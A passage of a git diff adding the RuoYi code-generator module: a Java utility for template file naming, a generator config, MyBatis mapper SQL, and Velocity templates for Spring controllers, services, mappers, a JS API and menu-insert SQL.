return templates; + } + + /** + * 获取文件名 + */ + public static String getFileName(String template, GenTable genTable) + { + // 文件名称 + String fileName = ""; + // 包路径 + String packageName = genTable.getPackageName(); + // 模块名 + String moduleName = genTable.getModuleName(); + // 大写类名 + String className = genTable.getClassName(); + // 业务名称 + String businessName = genTable.getBusinessName(); + + String javaPath = PROJECT_PATH + "/" + StringUtils.replace(packageName, ".", "/"); + String mybatisPath = MYBATIS_PATH + "/" + moduleName; + String vuePath = "vue"; + + if (template.contains("domain.java.vm")) + { + fileName = StringUtils.format("{}/domain/{}.java", javaPath, className); + } + if (template.contains("sub-domain.java.vm") && StringUtils.equals(GenConstants.TPL_SUB, genTable.getTplCategory())) + { + fileName = StringUtils.format("{}/domain/{}.java", javaPath, genTable.getSubTable().getClassName()); + } + else if (template.contains("mapper.java.vm")) + { + fileName = StringUtils.format("{}/mapper/{}Mapper.java", javaPath, className); + } + else if (template.contains("service.java.vm")) + { + fileName = StringUtils.format("{}/service/I{}Service.java", javaPath, className); + } + else if (template.contains("serviceImpl.java.vm")) + { + fileName = StringUtils.format("{}/service/impl/{}ServiceImpl.java", javaPath, className); + } + else if (template.contains("controller.java.vm")) + { + fileName = StringUtils.format("{}/controller/{}Controller.java", javaPath, className); + } + else if (template.contains("mapper.xml.vm")) + { + fileName = StringUtils.format("{}/{}Mapper.xml", mybatisPath, className); + } + else if (template.contains("sql.vm")) + { + fileName = businessName + "Menu.sql"; + } + else if (template.contains("api.js.vm")) + { + fileName = StringUtils.format("{}/api/{}/{}.js", vuePath, moduleName, businessName); + } + else if (template.contains("index.vue.vm")) + { + fileName = StringUtils.format("{}/views/{}/{}/index.vue", vuePath, moduleName, businessName); + } + else if (template.contains("index-tree.vue.vm")) + { + fileName = StringUtils.format("{}/views/{}/{}/index.vue", vuePath, moduleName, businessName); + } + return fileName; + } + + /** + * 获取包前缀 + * + * @param packageName 包名称 + * @return 包前缀名称 + */ + public static String getPackagePrefix(String packageName) + { + int lastIndex = packageName.lastIndexOf("."); + return StringUtils.substring(packageName, 0, lastIndex); + } + + /** + * 根据列类型获取导入包 + * + * @param genTable 业务表对象 + * @return 返回需要导入的包列表 + */ + public static HashSet getImportList(GenTable genTable) + { + List columns = genTable.getColumns(); + GenTable subGenTable = genTable.getSubTable(); + HashSet importList = new HashSet(); + if (StringUtils.isNotNull(subGenTable)) + { + importList.add("java.util.List"); + } + for (GenTableColumn column : columns) + { + if (!column.isSuperColumn() && GenConstants.TYPE_DATE.equals(column.getJavaType())) + { + importList.add("java.util.Date"); + importList.add("com.fasterxml.jackson.annotation.JsonFormat"); + } + else if (!column.isSuperColumn() && GenConstants.TYPE_BIGDECIMAL.equals(column.getJavaType())) + { + importList.add("java.math.BigDecimal"); + } + } + return importList; + } + + /** + * 根据列类型获取字典组 + * + * @param genTable 业务表对象 + * @return 返回字典组 + */ + public static String getDicts(GenTable genTable) + { + List columns = genTable.getColumns(); + Set dicts = new HashSet(); + addDicts(dicts, columns); + if (StringUtils.isNotNull(genTable.getSubTable())) + { + List subColumns = genTable.getSubTable().getColumns(); + addDicts(dicts, subColumns); + } + return StringUtils.join(dicts, ", "); + } + + /** + * 添加字典列表 + * + * @param dicts 字典列表 + * @param columns 列集合 + */ + public static void addDicts(Set dicts, List columns) + { + for (GenTableColumn column : columns) + { + if (!column.isSuperColumn() && StringUtils.isNotEmpty(column.getDictType()) && StringUtils.equalsAny( + column.getHtmlType(), + new String[] { GenConstants.HTML_SELECT, GenConstants.HTML_RADIO, GenConstants.HTML_CHECKBOX })) + { + dicts.add("'" + column.getDictType() + "'"); + } + } + } + + /** + * 获取权限前缀 + * + * @param moduleName 模块名称 + * @param businessName 业务名称 + * @return 返回权限前缀 + */ + public static String getPermissionPrefix(String moduleName, String businessName) + { + return StringUtils.format("{}:{}", moduleName, businessName); + } + + /** + * 获取上级菜单ID字段 + * + * @param paramsObj 生成其他选项 + * @return 上级菜单ID字段 + */ + public static String getParentMenuId(JSONObject paramsObj) + { + if (StringUtils.isNotEmpty(paramsObj) && paramsObj.containsKey(GenConstants.PARENT_MENU_ID) + && StringUtils.isNotEmpty(paramsObj.getString(GenConstants.PARENT_MENU_ID))) + { + return paramsObj.getString(GenConstants.PARENT_MENU_ID); + } + return DEFAULT_PARENT_MENU_ID; + } + + /** + * 获取树编码 + * + * @param paramsObj 生成其他选项 + * @return 树编码 + */ + public static String getTreecode(JSONObject paramsObj) + { + if (paramsObj.containsKey(GenConstants.TREE_CODE)) + { + return StringUtils.toCamelCase(paramsObj.getString(GenConstants.TREE_CODE)); + } + return StringUtils.EMPTY; + } + + /** + * 获取树父编码 + * + * @param paramsObj 生成其他选项 + * @return 树父编码 + */ + public static String getTreeParentCode(JSONObject paramsObj) + { + if (paramsObj.containsKey(GenConstants.TREE_PARENT_CODE)) + { + return StringUtils.toCamelCase(paramsObj.getString(GenConstants.TREE_PARENT_CODE)); + } + return StringUtils.EMPTY; + } + + /** + * 获取树名称 + * + * @param paramsObj 生成其他选项 + * @return 树名称 + */ + public static String getTreeName(JSONObject paramsObj) + { + if (paramsObj.containsKey(GenConstants.TREE_NAME)) + { + return StringUtils.toCamelCase(paramsObj.getString(GenConstants.TREE_NAME)); + } + return StringUtils.EMPTY; + } + + /** + * 获取需要在哪一列上面显示展开按钮 + * + * @param genTable 业务表对象 + * @return 展开按钮列序号 + */ + public static int getExpandColumn(GenTable genTable) + { + String options = genTable.getOptions(); + JSONObject paramsObj = JSON.parseObject(options); + String treeName = paramsObj.getString(GenConstants.TREE_NAME); + int num = 0; + for (GenTableColumn column : genTable.getColumns()) + { + if (column.isList()) + { + num++; + String columnName = column.getColumnName(); + if (columnName.equals(treeName)) + { + break; + } + } + } + return num; + } +} diff --git a/ruoyi-generator/src/main/resources/generator.yml b/ruoyi-generator/src/main/resources/generator.yml new file mode 100644 index 0000000..c603ebc --- /dev/null +++ b/ruoyi-generator/src/main/resources/generator.yml @@ -0,0 +1,10 @@ +# 代码生成 +gen: + # 作者 + author: ruoyi + # 默认生成包路径 system 需改成自己的模块名称 如 system monitor tool + packageName: com.ruoyi.bussiness + # 自动去除表前缀,默认是false + autoRemovePre: false + # 表前缀(生成类名不会包含表前缀,多个用逗号分隔) + tablePrefix: sys_ \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/mapper/generator/GenTableColumnMapper.xml b/ruoyi-generator/src/main/resources/mapper/generator/GenTableColumnMapper.xml new file mode 100644 index 0000000..66109de --- /dev/null +++ b/ruoyi-generator/src/main/resources/mapper/generator/GenTableColumnMapper.xml @@ -0,0 +1,127 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select column_id, table_id, column_name, column_comment, column_type, java_type, java_field, is_pk, is_increment, is_required, is_insert, is_edit, is_list, is_query, query_type, html_type, dict_type, sort, create_by, create_time, update_by, update_time from gen_table_column + + + + + + + + insert into gen_table_column ( + table_id, + column_name, + column_comment, + column_type, + java_type, + java_field, + is_pk, + is_increment, + is_required, + is_insert, + is_edit, + is_list, + is_query, + query_type, + html_type, + dict_type, + sort, + create_by, + create_time + )values( + #{tableId}, + #{columnName}, + #{columnComment}, + #{columnType}, + #{javaType}, + #{javaField}, + #{isPk}, + #{isIncrement}, + #{isRequired}, + #{isInsert}, + #{isEdit}, + #{isList}, + #{isQuery}, + #{queryType}, + #{htmlType}, + #{dictType}, + #{sort}, + #{createBy}, + sysdate() + ) + + + + update gen_table_column + + column_comment = #{columnComment}, + java_type = #{javaType}, + java_field = #{javaField}, + is_insert = #{isInsert}, + is_edit = #{isEdit}, + is_list = #{isList}, + is_query = #{isQuery}, + is_required = #{isRequired}, + query_type = #{queryType}, + html_type = #{htmlType}, + dict_type = #{dictType}, + sort = #{sort}, + update_by = #{updateBy}, + update_time = sysdate() + + where column_id = #{columnId} + + + + delete from gen_table_column where table_id in + + #{tableId} + + + + + delete from gen_table_column where column_id in + + #{item.columnId} + + + + \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml b/ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml new file mode 100644 index 0000000..b605e90 --- /dev/null +++ b/ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml @@ -0,0 +1,202 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select table_id, table_name, table_comment, sub_table_name, sub_table_fk_name, class_name, tpl_category, package_name, module_name, business_name, function_name, function_author, gen_type, gen_path, options, create_by, create_time, update_by, update_time, remark from gen_table + + + + + + + + + + + + + + + + + + insert into gen_table ( + table_name, + table_comment, + class_name, + tpl_category, + package_name, + module_name, + business_name, + function_name, + function_author, + gen_type, + gen_path, + remark, + create_by, + create_time + )values( + #{tableName}, + #{tableComment}, + #{className}, + #{tplCategory}, + #{packageName}, + #{moduleName}, + #{businessName}, + #{functionName}, + #{functionAuthor}, + #{genType}, + #{genPath}, + #{remark}, + #{createBy}, + sysdate() + ) + + + + update gen_table + + table_name = #{tableName}, + table_comment = #{tableComment}, + sub_table_name = #{subTableName}, + sub_table_fk_name = #{subTableFkName}, + class_name = #{className}, + function_author = #{functionAuthor}, + gen_type = #{genType}, + gen_path = #{genPath}, + tpl_category = #{tplCategory}, + package_name = #{packageName}, + module_name = #{moduleName}, + business_name = #{businessName}, + function_name = #{functionName}, + options = #{options}, + update_by = #{updateBy}, + remark = #{remark}, + update_time = sysdate() + + where table_id = #{tableId} + + + + delete from gen_table where table_id in + + #{tableId} + + + + \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/vm/java/controller.java.vm b/ruoyi-generator/src/main/resources/vm/java/controller.java.vm new file mode 100644 index 0000000..bf88988 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/java/controller.java.vm @@ -0,0 +1,115 @@ +package ${packageName}.controller; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import ${packageName}.domain.${ClassName}; +import ${packageName}.service.I${ClassName}Service; +import com.ruoyi.common.utils.poi.ExcelUtil; +#if($table.crud || $table.sub) +import com.ruoyi.common.core.page.TableDataInfo; +#elseif($table.tree) +#end + +/** + * ${functionName}Controller + * + * @author ${author} + * @date ${datetime} + */ +@RestController +@RequestMapping("/${moduleName}/${businessName}") +public class ${ClassName}Controller extends BaseController +{ + @Autowired + private I${ClassName}Service ${className}Service; + + /** + * 查询${functionName}列表 + */ + @PreAuthorize("@ss.hasPermi('${permissionPrefix}:list')") + @GetMapping("/list") +#if($table.crud || $table.sub) + public TableDataInfo list(${ClassName} ${className}) + { + startPage(); + List<${ClassName}> list = ${className}Service.select${ClassName}List(${className}); + return getDataTable(list); + } +#elseif($table.tree) + public AjaxResult list(${ClassName} ${className}) + { + List<${ClassName}> list = ${className}Service.select${ClassName}List(${className}); + return success(list); + } +#end + + /** + * 导出${functionName}列表 + */ + @PreAuthorize("@ss.hasPermi('${permissionPrefix}:export')") + @Log(title = "${functionName}", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, ${ClassName} ${className}) + { + List<${ClassName}> list = ${className}Service.select${ClassName}List(${className}); + ExcelUtil<${ClassName}> util = new ExcelUtil<${ClassName}>(${ClassName}.class); + util.exportExcel(response, list, "${functionName}数据"); + } + + /** + * 获取${functionName}详细信息 + */ + @PreAuthorize("@ss.hasPermi('${permissionPrefix}:query')") + @GetMapping(value = "/{${pkColumn.javaField}}") + public AjaxResult getInfo(@PathVariable("${pkColumn.javaField}") ${pkColumn.javaType} ${pkColumn.javaField}) + { + return success(${className}Service.select${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaField})); + } + + /** + * 新增${functionName} + */ + @PreAuthorize("@ss.hasPermi('${permissionPrefix}:add')") + @Log(title = "${functionName}", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody ${ClassName} ${className}) + { + return toAjax(${className}Service.insert${ClassName}(${className})); + } + + /** + * 修改${functionName} + */ + @PreAuthorize("@ss.hasPermi('${permissionPrefix}:edit')") + @Log(title = "${functionName}", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody ${ClassName} ${className}) + { + return toAjax(${className}Service.update${ClassName}(${className})); + } + + /** + * 删除${functionName} + */ + @PreAuthorize("@ss.hasPermi('${permissionPrefix}:remove')") + @Log(title = "${functionName}", businessType = BusinessType.DELETE) + @DeleteMapping("/{${pkColumn.javaField}s}") + public AjaxResult remove(@PathVariable ${pkColumn.javaType}[] ${pkColumn.javaField}s) + { + return toAjax(${className}Service.delete${ClassName}By${pkColumn.capJavaField}s(${pkColumn.javaField}s)); + } +} diff --git a/ruoyi-generator/src/main/resources/vm/java/domain.java.vm b/ruoyi-generator/src/main/resources/vm/java/domain.java.vm new file mode 100644 index 0000000..15404c1 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/java/domain.java.vm @@ -0,0 +1,55 @@ +package ${packageName}.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +#foreach ($import in $importList) +import ${import}; +#end +#if($table.crud || $table.sub) +import com.ruoyi.common.core.domain.BaseEntity; +#elseif($table.tree) +import com.ruoyi.common.core.domain.TreeEntity; +#end + +/** + * ${functionName}对象 ${tableName} + * + * @author ${author} + * @date ${datetime} + */ +#if($table.crud || $table.sub) + #set($Entity="BaseEntity") +#elseif($table.tree) + #set($Entity="TreeEntity<${ClassName}>") +#end +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("${tableName}") +public class ${ClassName} extends ${Entity} { + +private static final long serialVersionUID=1L; + +#foreach ($column in $columns) + #if(!$table.isSuperColumn($column.javaField)) + /** + * $column.columnComment + */ + #if($column.javaField=='delFlag') + @TableLogic + #end + #if($column.javaField=='version') + @Version + #end + #if($column.pk) + @TableId(value = "$column.columnName",type = IdType.AUTO) + #end + private $column.javaType $column.javaField; + #end +#end + +} diff --git a/ruoyi-generator/src/main/resources/vm/java/mapper.java.vm b/ruoyi-generator/src/main/resources/vm/java/mapper.java.vm new file mode 100644 index 0000000..4a64915 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/java/mapper.java.vm @@ -0,0 +1,91 @@ +package ${packageName}.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import ${packageName}.domain.${ClassName}; +#if($table.sub) +import ${packageName}.domain.${subClassName}; +#end + +/** + * ${functionName}Mapper接口 + * + * @author ${author} + * @date ${datetime} + */ +public interface ${ClassName}Mapper extends BaseMapper<${ClassName}> +{ + /** + * 查询${functionName} + * + * @param ${pkColumn.javaField} ${functionName}主键 + * @return ${functionName} + */ + public ${ClassName} select${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaType} ${pkColumn.javaField}); + + /** + * 查询${functionName}列表 + * + * @param ${className} ${functionName} + * @return ${functionName}集合 + */ + public List<${ClassName}> select${ClassName}List(${ClassName} ${className}); + + /** + * 新增${functionName} + * + * @param ${className} ${functionName} + * @return 结果 + */ + public int insert${ClassName}(${ClassName} ${className}); + + /** + * 修改${functionName} + * + * @param ${className} ${functionName} + * @return 结果 + */ + public int update${ClassName}(${ClassName} ${className}); + + /** + * 删除${functionName} + * + * @param ${pkColumn.javaField} ${functionName}主键 + * @return 结果 + */ + public int delete${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaType} ${pkColumn.javaField}); + + /** + * 批量删除${functionName} + * + * @param ${pkColumn.javaField}s 需要删除的数据主键集合 + * @return 结果 + */ + public int delete${ClassName}By${pkColumn.capJavaField}s(${pkColumn.javaType}[] ${pkColumn.javaField}s); +#if($table.sub) + + /** + * 批量删除${subTable.functionName} + * + * @param ${pkColumn.javaField}s 需要删除的数据主键集合 + * @return 结果 + */ + public int delete${subClassName}By${subTableFkClassName}s(${pkColumn.javaType}[] ${pkColumn.javaField}s); + + /** + * 批量新增${subTable.functionName} + * + * @param ${subclassName}List ${subTable.functionName}列表 + * @return 结果 + */ + public int batch${subClassName}(List<${subClassName}> ${subclassName}List); + + + /** + * 通过${functionName}主键删除${subTable.functionName}信息 + * + * @param ${pkColumn.javaField} ${functionName}ID + * @return 结果 + */ + public int delete${subClassName}By${subTableFkClassName}(${pkColumn.javaType} ${pkColumn.javaField}); +#end +} diff --git a/ruoyi-generator/src/main/resources/vm/java/service.java.vm b/ruoyi-generator/src/main/resources/vm/java/service.java.vm new file mode 100644 index 0000000..7c21304 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/java/service.java.vm @@ -0,0 +1,62 @@ +package ${packageName}.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import ${packageName}.domain.${ClassName}; + +/** + * ${functionName}Service接口 + * + * @author ${author} + * @date ${datetime} + */ +public interface I${ClassName}Service extends IService<${ClassName}> +{ + /** + * 查询${functionName} + * + * @param ${pkColumn.javaField} ${functionName}主键 + * @return ${functionName} + */ + public ${ClassName} select${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaType} ${pkColumn.javaField}); + + /** + * 查询${functionName}列表 + * + * @param ${className} ${functionName} + * @return ${functionName}集合 + */ + public List<${ClassName}> select${ClassName}List(${ClassName} ${className}); + + /** + * 新增${functionName} + * + * @param ${className} ${functionName} + * @return 结果 + */ + public int insert${ClassName}(${ClassName} ${className}); + + /** + * 修改${functionName} + * + * @param ${className} ${functionName} + * @return 结果 + */ + public int update${ClassName}(${ClassName} ${className}); + + /** + * 批量删除${functionName} + * + * @param ${pkColumn.javaField}s 需要删除的${functionName}主键集合 + * @return 结果 + */ + public int delete${ClassName}By${pkColumn.capJavaField}s(${pkColumn.javaType}[] ${pkColumn.javaField}s); + + /** + * 删除${functionName}信息 + * + * @param ${pkColumn.javaField} ${functionName}主键 + * @return 结果 + */ + public int delete${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaType} ${pkColumn.javaField}); +} diff --git a/ruoyi-generator/src/main/resources/vm/java/serviceImpl.java.vm b/ruoyi-generator/src/main/resources/vm/java/serviceImpl.java.vm new file mode 100644 index 0000000..ad87830 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/java/serviceImpl.java.vm @@ -0,0 +1,169 @@ +package ${packageName}.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +#foreach ($column in $columns) +#if($column.javaField == 'createTime' || $column.javaField == 'updateTime') +import com.ruoyi.common.utils.DateUtils; +#break +#end +#end +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +#if($table.sub) +import java.util.ArrayList; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.transaction.annotation.Transactional; +import ${packageName}.domain.${subClassName}; +#end +import ${packageName}.mapper.${ClassName}Mapper; +import ${packageName}.domain.${ClassName}; +import ${packageName}.service.I${ClassName}Service; + +/** + * ${functionName}Service业务层处理 + * + * @author ${author} + * @date ${datetime} + */ +@Service +public class ${ClassName}ServiceImpl extends ServiceImpl<${ClassName}Mapper,${ClassName}> implements I${ClassName}Service +{ + @Autowired + private ${ClassName}Mapper ${className}Mapper; + + /** + * 查询${functionName} + * + * @param ${pkColumn.javaField} ${functionName}主键 + * @return ${functionName} + */ + @Override + public ${ClassName} select${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaType} ${pkColumn.javaField}) + { + return ${className}Mapper.select${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaField}); + } + + /** + * 查询${functionName}列表 + * + * @param ${className} ${functionName} + * @return ${functionName} + */ + @Override + public List<${ClassName}> select${ClassName}List(${ClassName} ${className}) + { + return ${className}Mapper.select${ClassName}List(${className}); + } + + /** + * 新增${functionName} + * + * @param ${className} ${functionName} + * @return 结果 + */ +#if($table.sub) + @Transactional +#end + @Override + public int insert${ClassName}(${ClassName} ${className}) + { +#foreach ($column in $columns) +#if($column.javaField == 'createTime') + ${className}.setCreateTime(DateUtils.getNowDate()); +#end +#end +#if($table.sub) + int rows = ${className}Mapper.insert${ClassName}(${className}); + insert${subClassName}(${className}); + return rows; +#else + return ${className}Mapper.insert${ClassName}(${className}); +#end + } + + /** + * 修改${functionName} + * + * @param ${className} ${functionName} + * @return 结果 + */ +#if($table.sub) + @Transactional +#end + @Override + public int update${ClassName}(${ClassName} ${className}) + { +#foreach ($column in $columns) +#if($column.javaField == 'updateTime') + ${className}.setUpdateTime(DateUtils.getNowDate()); +#end +#end +#if($table.sub) + ${className}Mapper.delete${subClassName}By${subTableFkClassName}(${className}.get${pkColumn.capJavaField}()); + insert${subClassName}(${className}); +#end + return ${className}Mapper.update${ClassName}(${className}); + } + + /** + * 批量删除${functionName} + * + * @param ${pkColumn.javaField}s 需要删除的${functionName}主键 + * @return 结果 + */ +#if($table.sub) + @Transactional +#end + @Override + public int delete${ClassName}By${pkColumn.capJavaField}s(${pkColumn.javaType}[] ${pkColumn.javaField}s) + { +#if($table.sub) + ${className}Mapper.delete${subClassName}By${subTableFkClassName}s(${pkColumn.javaField}s); +#end + return ${className}Mapper.delete${ClassName}By${pkColumn.capJavaField}s(${pkColumn.javaField}s); + } + + /** + * 删除${functionName}信息 + * + * @param ${pkColumn.javaField} ${functionName}主键 + * @return 结果 + */ +#if($table.sub) + @Transactional +#end + @Override + public int delete${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaType} ${pkColumn.javaField}) + { +#if($table.sub) + ${className}Mapper.delete${subClassName}By${subTableFkClassName}(${pkColumn.javaField}); +#end + return ${className}Mapper.delete${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaField}); + } +#if($table.sub) + + /** + * 新增${subTable.functionName}信息 + * + * @param ${className} ${functionName}对象 + */ + public void insert${subClassName}(${ClassName} ${className}) + { + List<${subClassName}> ${subclassName}List = ${className}.get${subClassName}List(); + ${pkColumn.javaType} ${pkColumn.javaField} = ${className}.get${pkColumn.capJavaField}(); + if (StringUtils.isNotNull(${subclassName}List)) + { + List<${subClassName}> list = new ArrayList<${subClassName}>(); + for (${subClassName} ${subclassName} : ${subclassName}List) + { + ${subclassName}.set${subTableFkClassName}(${pkColumn.javaField}); + list.add(${subclassName}); + } + if (list.size() > 0) + { + ${className}Mapper.batch${subClassName}(list); + } + } + } +#end +} diff --git a/ruoyi-generator/src/main/resources/vm/java/sub-domain.java.vm b/ruoyi-generator/src/main/resources/vm/java/sub-domain.java.vm new file mode 100644 index 0000000..a3f53eb --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/java/sub-domain.java.vm @@ -0,0 +1,76 @@ +package ${packageName}.domain; + +#foreach ($import in $subImportList) +import ${import}; +#end +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * ${subTable.functionName}对象 ${subTableName} + * + * @author ${author} + * @date ${datetime} + */ +public class ${subClassName} extends BaseEntity +{ + private static final long serialVersionUID = 1L; + +#foreach ($column in $subTable.columns) +#if(!$table.isSuperColumn($column.javaField)) + /** $column.columnComment */ +#if($column.list) +#set($parentheseIndex=$column.columnComment.indexOf("(")) +#if($parentheseIndex != -1) +#set($comment=$column.columnComment.substring(0, $parentheseIndex)) +#else +#set($comment=$column.columnComment) +#end +#if($parentheseIndex != -1) + @Excel(name = "${comment}", readConverterExp = "$column.readConverterExp()") +#elseif($column.javaType == 'Date') + @JsonFormat(pattern = "yyyy-MM-dd") + @Excel(name = "${comment}", width = 30, dateFormat = "yyyy-MM-dd") +#else + @Excel(name = "${comment}") +#end +#end + private $column.javaType $column.javaField; + +#end +#end +#foreach ($column in $subTable.columns) +#if(!$table.isSuperColumn($column.javaField)) +#if($column.javaField.length() > 2 && $column.javaField.substring(1,2).matches("[A-Z]")) +#set($AttrName=$column.javaField) +#else +#set($AttrName=$column.javaField.substring(0,1).toUpperCase() + ${column.javaField.substring(1)}) +#end + public void set${AttrName}($column.javaType $column.javaField) + { + this.$column.javaField = $column.javaField; + } + + public $column.javaType get${AttrName}() + { + return $column.javaField; + } +#end +#end + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) +#foreach ($column in $subTable.columns) +#if($column.javaField.length() > 2 && $column.javaField.substring(1,2).matches("[A-Z]")) +#set($AttrName=$column.javaField) +#else +#set($AttrName=$column.javaField.substring(0,1).toUpperCase() + ${column.javaField.substring(1)}) +#end + .append("${column.javaField}", get${AttrName}()) +#end + .toString(); + } +} diff --git a/ruoyi-generator/src/main/resources/vm/js/api.js.vm b/ruoyi-generator/src/main/resources/vm/js/api.js.vm new file mode 100644 index 0000000..9295524 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/js/api.js.vm @@ -0,0 +1,44 @@ +import request from '@/utils/request' + +// 查询${functionName}列表 +export function list${BusinessName}(query) { + return request({ + url: '/${moduleName}/${businessName}/list', + method: 'get', + params: query + }) +} + +// 查询${functionName}详细 +export function get${BusinessName}(${pkColumn.javaField}) { + return request({ + url: '/${moduleName}/${businessName}/' + ${pkColumn.javaField}, + method: 'get' + }) +} + +// 新增${functionName} +export function add${BusinessName}(data) { + return request({ + url: '/${moduleName}/${businessName}', + method: 'post', + data: data + }) +} + +// 修改${functionName} +export function update${BusinessName}(data) { + return request({ + url: '/${moduleName}/${businessName}', + method: 'put', + data: data + }) +} + +// 删除${functionName} +export function del${BusinessName}(${pkColumn.javaField}) { + return request({ + url: '/${moduleName}/${businessName}/' + ${pkColumn.javaField}, + method: 'delete' + }) +} diff --git a/ruoyi-generator/src/main/resources/vm/sql/sql.vm b/ruoyi-generator/src/main/resources/vm/sql/sql.vm new file mode 100644 index 0000000..0575583 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/sql/sql.vm @@ -0,0 +1,22 @@ +-- 菜单 SQL +insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) +values('${functionName}', '${parentMenuId}', '1', '${businessName}', '${moduleName}/${businessName}/index', 1, 0, 'C', '0', '0', '${permissionPrefix}:list', '#', 'admin', sysdate(), '', null, '${functionName}菜单'); + +-- 按钮父菜单ID +SELECT @parentId := LAST_INSERT_ID(); + +-- 按钮 SQL +insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) +values('${functionName}查询', @parentId, '1', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:query', '#', 'admin', sysdate(), '', null, ''); + +insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) +values('${functionName}新增', @parentId, '2', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:add', '#', 'admin', sysdate(), '', null, ''); + +insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) +values('${functionName}修改', @parentId, '3', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:edit', '#', 'admin', sysdate(), '', null, ''); + +insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) +values('${functionName}删除', @parentId, '4', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:remove', '#', 'admin', sysdate(), '', null, ''); + +insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) +values('${functionName}导出', @parentId, '5', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:export', '#', 'admin', sysdate(), '', null, ''); \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/vm/vue/index-tree.vue.vm b/ruoyi-generator/src/main/resources/vm/vue/index-tree.vue.vm new file mode 100644 index 0000000..a4c64a0 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/vue/index-tree.vue.vm @@ -0,0 +1,505 @@ + + + diff --git a/ruoyi-generator/src/main/resources/vm/vue/index.vue.vm b/ruoyi-generator/src/main/resources/vm/vue/index.vue.vm new file mode 100644 index 0000000..6296014 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/vue/index.vue.vm @@ -0,0 +1,602 @@ + + + diff --git a/ruoyi-generator/src/main/resources/vm/vue/v3/index-tree.vue.vm b/ruoyi-generator/src/main/resources/vm/vue/v3/index-tree.vue.vm new file mode 100644 index 0000000..7bbd2fc --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/vue/v3/index-tree.vue.vm @@ -0,0 +1,474 @@ + + + diff --git a/ruoyi-generator/src/main/resources/vm/vue/v3/index.vue.vm b/ruoyi-generator/src/main/resources/vm/vue/v3/index.vue.vm new file mode 100644 index 0000000..8b25665 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/vue/v3/index.vue.vm @@ -0,0 +1,590 @@ + + + diff --git a/ruoyi-generator/src/main/resources/vm/vue/v3/readme.txt b/ruoyi-generator/src/main/resources/vm/vue/v3/readme.txt new file mode 100644 index 0000000..99239bb --- /dev/null +++ 